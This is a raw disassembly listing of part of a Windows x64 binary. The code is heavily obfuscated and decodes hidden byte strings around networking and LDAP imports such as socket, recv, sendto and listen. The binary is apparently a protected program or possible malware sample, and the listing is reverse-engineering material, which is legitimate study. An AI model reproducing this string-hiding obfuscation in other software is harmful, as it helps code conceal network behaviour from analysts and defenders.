sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6b
movabs rcx, 0xca5cc091b4a3f717
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x5f
add r11b, cl
mov byte [rbp + rbx + 0x8c0], r11b
inc r9
dec rbx
inc rbx
jmp 0x140095812
movabs rcx, 0x38cf5f269e08f73f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x47
dec rbx
inc rbx
jmp 0x140095812
movabs rcx, 0x758085aa006e2b9d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4b
movabs rcx, 0x8dab9a0e523ec2b9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0xf
add r11b, cl
add r11b, dl
mov byte [rbp + rbx + 0x8c0], r11b
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140095812
movabs rcx, 0xb231ac2d62d35ffb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x23
add r8, r9
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140095812
mov r11, r10
movabs rdx, 0x2b93f934279dc8b7
add rdx, rbx
movzx eax, dl
and al, r10b
movzx ecx, r10b
dec dl
add al, al
sub cl, al
add dl, cl
movabs rcx, 0x50fa738aefd98e5b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x7d
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x8c0], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x32a1e0493ea6f42c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x34
add r11b, cl
mov byte [rbp + rbx + 0x8c0], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x8c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140095812
movabs rcx, 0xa4f6463aec683173
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x25
movzx eax, byte [rbp + rbx + 0x8c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140095812
movabs rcx, 0x3bfb7edef0b5e595
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x13
jmp 0x140095810
movabs rcx, 0x78aca562531b19f3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5b
jmp 0x140095800
lea rsi, [rbp + 0x140712c]
jmp 0x140096650
lea rsi, [rbp + 0x10dd6fd]
jmp 0x140096650
lea rsi, [rbp + 0x8c0]
lea rdx, [0x140225e10]
lea rcx, [rbp + 0x1e8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1f0
mov r14, rax
mov byte [rbp + 0x8e8], 0xa
mov byte [rbp + 0x8e9], WSACleanup
mov byte [rbp + 0x8ea], 0x79
mov byte [rbp + 0x8eb], 0x7f
mov byte [rbp + 0x8ec], WSASetLastError
mov byte [rbp + 0x8ed], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x8ee], WSASetLastError
mov byte [rbp + 0x8ef], 0x64
mov byte [rbp + 0x8f0], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8f1], xmm0
mov qword [rbp + 0x901], rax
mov word [rbp + 0x909], ax
movabs rdx, 0x9cf0af35496ed929
movabs r15, 0x1da9909450651435
movabs r13, 0xd7abcfa44e6306b
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0xb84506e27dbbaba1
cmp rdi, 0x23
jae 0x14009759f
movzx ebx, byte [rbp + rdi + 0x8e8]
mov r10, rbx
cmp r8, rdi
ja 0x140097593
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140096763
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x67
jmp 0x1400967b0
je 0x140097501
inc rax
cmp r8, rax
je 0x1400974a7
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009744b
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009740b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400973d8
lea rax, [r9 + 8]
cmp r8, rax
je 0x140097380
nop dword [rax]
cmp r9, rdi
ja 0x140097587
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400967e0
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x73
jmp 0x140096820
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14009735d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009732a
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400972e2
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400972bf
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140096e92
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140096e6f
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140096e39
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140096e01
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140096dd9
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140096db6
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140096d79
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140096d56
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140096d2e
lea rax, [r9 + 2]
cmp r8, rax
je 0x140096d06
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140096830
lea r8, [r9 + 6]
lea r9, [r8 + 0x64]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140097564
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140097541
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140096a08
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400969ee
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400969d4
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140096caa
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140096c50
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140096c03
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140096bcb
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140096830
lea r8, [r9 + 5]
lea r9, [r8 + 0x42]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140096ba8
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140096b80
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140096b58
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140096b16
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140096af3
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140096ad0
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140096a98
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140096a5d
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140096a35
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140096830
lea r8, [r9 + 4]
lea r9, [r8 + 0x7a]
jmp 0x140096830
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x13
jmp 0x140096820
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1f
jmp 0x1400967b0
movabs rcx, 0x2c66a1704df781e7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x51
movabs rcx, 0xb84506e27dbbaba1
jmp 0x14009672e
movabs rdx, 0xed4c84a28328a1a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009739e
movabs rdx, 0x7cc276dd87b14a66
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rdx, 0xc3869188c39f324
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rcx, 0x9bae5b5390c29be2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2e
jmp 0x140097300
movabs rcx, 0x2b244d8e954b44a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140097429
movabs rdx, 0xba9a3fc999d3ed5e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rdx, 0x4a1032049e5c961c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140097471
movabs rdx, 0xd986243fa2e53eda
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400974ce
movabs rcx, 0x68fc167aa76de798
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x140097521
movabs rcx, 0xcfa2f40e32c38d73
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x25
mov byte [rbp + rdi + 0x8e8], r11b
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rdx, 0x5f18e649374c3631
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x57
add r11b, dl
cmp r9, 9
jb 0x140096be9
movabs rcx, 0x6b80be3e18c66226
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x14]
jmp 0x14009739e
movabs rcx, 0xee8ed8843bd4deef
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x77
cmp r8, 0xa
jae 0x14009725f
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x140097136
movabs rdx, 0x61c348c461cf992
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140096c22
movabs rcx, 0x7e04cabf405d87ad
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x45
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x14009728f
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x14009701d
movabs rcx, 0xe872a3f7f5b7e55d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x75
jmp 0x140096c6e
movabs rdx, 0xb1f96379e25e793e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140097521
movabs rdx, 0x416f55b4e6e721fc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400974ce
movabs rcx, 0xd0e547efeb6fcaba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
jmp 0x140097471
movabs rcx, 0x605b3a2aeff87378
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rcx, 0xefd12c65f4811c36
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
jmp 0x140097429
movabs rdx, 0x7f471ea0f909c4f4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140097300
movabs rdx, 0xebd10dbfd926db2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rcx, 0x9e330317021b1670
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
inc r9
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rcx, 0x2da8f55206a3bf2e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
jmp 0x14009739e
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140096ec2
movabs rcx, 0xb84506e27dbbaba1
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x67
jmp 0x140096cc8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140096ef7
movabs rdx, 0x3b532128a0ca286a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140097521
inc rax
cmp r8, rax
jne 0x140096f2b
movabs rdx, 0xabdd2eed9c417fac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400974ce
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140096f5b
movabs rcx, 0xfd7b583c8ea78572
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1e
jmp 0x140097429
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140096f90
movabs rdx, 0x6e0566018a1edcb4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140097300
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140096fd5
movabs rdx, 0xde8f73c6859633f6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140096cc8
movabs rdx, 0x4f19818b810d8b38
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009704d
movabs rcx, 0x58fcb1bcf12f3c9f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x59
jmp 0x14009739e
inc rax
cmp r8, rax
jne 0x14009708c
movabs rcx, 0x3a10cd46e81deb23
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xb
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400970d6
movabs rcx, 0x8baef695da83f0e9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5f
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140097106
movabs rcx, 0xfc39045ad5fb482b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2d
jmp 0x140097471
lea rax, [r9 + 9]
cmp r8, rax
jne 0x140096c6e
movabs rcx, 0xdd4d1fe4cce9f6af
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x37
jmp 0x140097521
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009716b
movabs rdx, 0x76a64251419450d4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140097521
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009719b
movabs rcx, 0x57ba5ddb3882ff58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140097471
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400971e5
movabs rcx, 0xc8446ba033fa569a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x36
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009721a
movabs rdx, 0xa958872a2ae9051e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140097300
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140096c25
movabs rdx, 0x19e294ef26605c60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rdx, 0xdc0acc03143db968
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x8e8]
add r11b, dl
add r11b, bl
jmp 0x140097300
movabs rdx, 0x4c94d9c80fb510aa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x8e8]
add r11b, dl
add r11b, bl
jmp 0x140097471
movabs rcx, 0x12840c8127972587
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4f
jmp 0x140097521
movabs rcx, 0xdfd1c7a83e42713d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x55
movabs rcx, 0x944fd2e591f96509
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x3f
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0x8e8], bl
jmp 0x140097429
movabs rcx, 0x6f47b9e342cb19fb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x23
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rcx, 0x8e339e594bdc6b77
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x41
jmp 0x14009739e
movabs rcx, 0xad1f82cf54edbcf3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x5b
movabs rcx, 0x23c5c52096820dc7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x71
add cl, bl
mov byte [rbp + rdi + 0x8e8], cl
inc r9
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rcx, 0xcc0b67455dff0e6f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 9
dec rdi
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rcx, 0xeaf74bbb67105feb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6d
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
mov rbx, r10
movabs rdx, 0x9e330317021b167
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2f
add r11b, dl
movabs rdx, 0x4d9e0aa8d70bc4b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0xd
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x8e8], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400974ce
movabs rdx, 0x9959226c74aa5a25
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 3
add r11b, dl
movzx ebx, r10b
movabs rcx, 0xbd1ee78d0b2c67ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x74
add cl, bl
mov byte [rbp + rdi + 0x8e8], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
jmp 0x140097521
movabs rcx, 0x28cf14a7793302e3
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x35
movzx eax, byte [rbp + rdi + 0x8e8]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0x9cf0af35496ed929
jmp 0x140096712
movabs rcx, 0xbbdc93ab52802aa5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7d
jmp 0x14009670e
movabs rcx, 0x4b5285e65708d363
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x4b
jmp 0x1400966fa
lea rcx, [rbp + 0x1575914]
jmp 0x1400975a6
lea rcx, [rbp + 0x9304b5]
jmp 0x1400975a6
lea rcx, [rbp + 0x8e8]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], rsi
mov r9d, 0x2710
mov r8d, Ordinal_30
mov rdx, r14
call fcn.1400383c0
lea rdx, [0x140225fd0]
lea rcx, [rbp + 0x208]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022c170]
call fcn.140069e40
mov rcx, rax
call fcn.14006b1f0
mov r14, rax
movsxd rcx, dword [rax]
lea rsi, [0x1401b6738]
mov r15, qword [rsi + rcx*8]
mov byte [rbp + 0x910], 0x50
mov byte [rbp + 0x911], 0x84
mov byte [rbp + 0x912], 0x9c
mov byte [rbp + 0x913], WSASetLastError
mov byte [rbp + 0x914], 0xbe
mov byte [rbp + 0x915], 0x86
mov byte [rbp + 0x916], 0x98
mov byte [rbp + 0x917], __WSAFDIsSet
mov byte [rbp + 0x918], recv
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x919], xmm0
mov qword [rbp + 0x929], rax
mov word [rbp + 0x931], ax
movabs rdx, 0x534327c45a4da96f
movabs r13, 0x66d2e4db5cd652b1
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0xaf90234765f1d32d
cmp rdi, 0x23
jae 0x14009849f
movzx ebx, byte [rbp + rdi + 0x910]
mov r10, rbx
cmp r8, rdi
ja 0x140098493
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400976e3
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x3b
jmp 0x140097710
je 0x140098401
lea rax, [r9 + 2]
cmp r8, rax
je 0x140098376
lea rax, [r9 + 4]
cmp r8, rax
je 0x140098343
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009830d
cmp r9, rdi
ja 0x140098487
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14009774d
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add dl, 0x29
add r11b, dl
movabs rdx, 0x534327c45a4da96f
jmp 0x140097790
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400982b5
lea rax, [r9 + 3]
cmp r8, rax
je 0x140098282
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009821d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400981f6
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400981d3
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140097e3a
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x140097e13
lea rax, [r9 + 9]
cmp r8, rax
je 0x140097dd8
lea rax, [r9 + 3]
cmp r8, rax
je 0x140097da5
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140097d7d
lea rax, [r9 + 2]
cmp r8, rax
je 0x140097d5a
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140097d18
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140097cf4
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140097ccc
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140097ca9
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400977a0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140098464
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140098441
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400979a5
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140097975
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14009795b
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140097c4d
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140097bf0
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140097ba7
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140097b6f
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400977a0
lea r8, [r9 + 1]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x140097b4c
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140097b25
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140097afd
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140097ac0
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140097a98
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140097a75
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140097a3d
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140097a07
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400979df
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400977a0
lea r8, [r9 + 5]
lea r9, [r8 + 8]
jmp 0x1400977a0
lea rcx, [rdi + rdx]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 9
jmp 0x140097790
movabs rdx, 0xf422e1358e6a0315
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add dl, 0x6d
add r11b, dl
movabs rdx, 0x534327c45a4da96f
jmp 0x140097710
movabs rdx, 0x95029aa6c2865cbb
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub dl, 0x1d
add r11b, dl
movabs rdx, 0x534327c45a4da96f
movabs rcx, 0xaf90234765f1d32d
jmp 0x1400976ae
movabs rdx, 0x369726dae6b29588
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400982d3
movabs rcx, 0xd776e04c1aceef2e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
inc r9
dec rdi
inc rdi
movabs rdx, 0x534327c45a4da96f
jmp 0x140097692
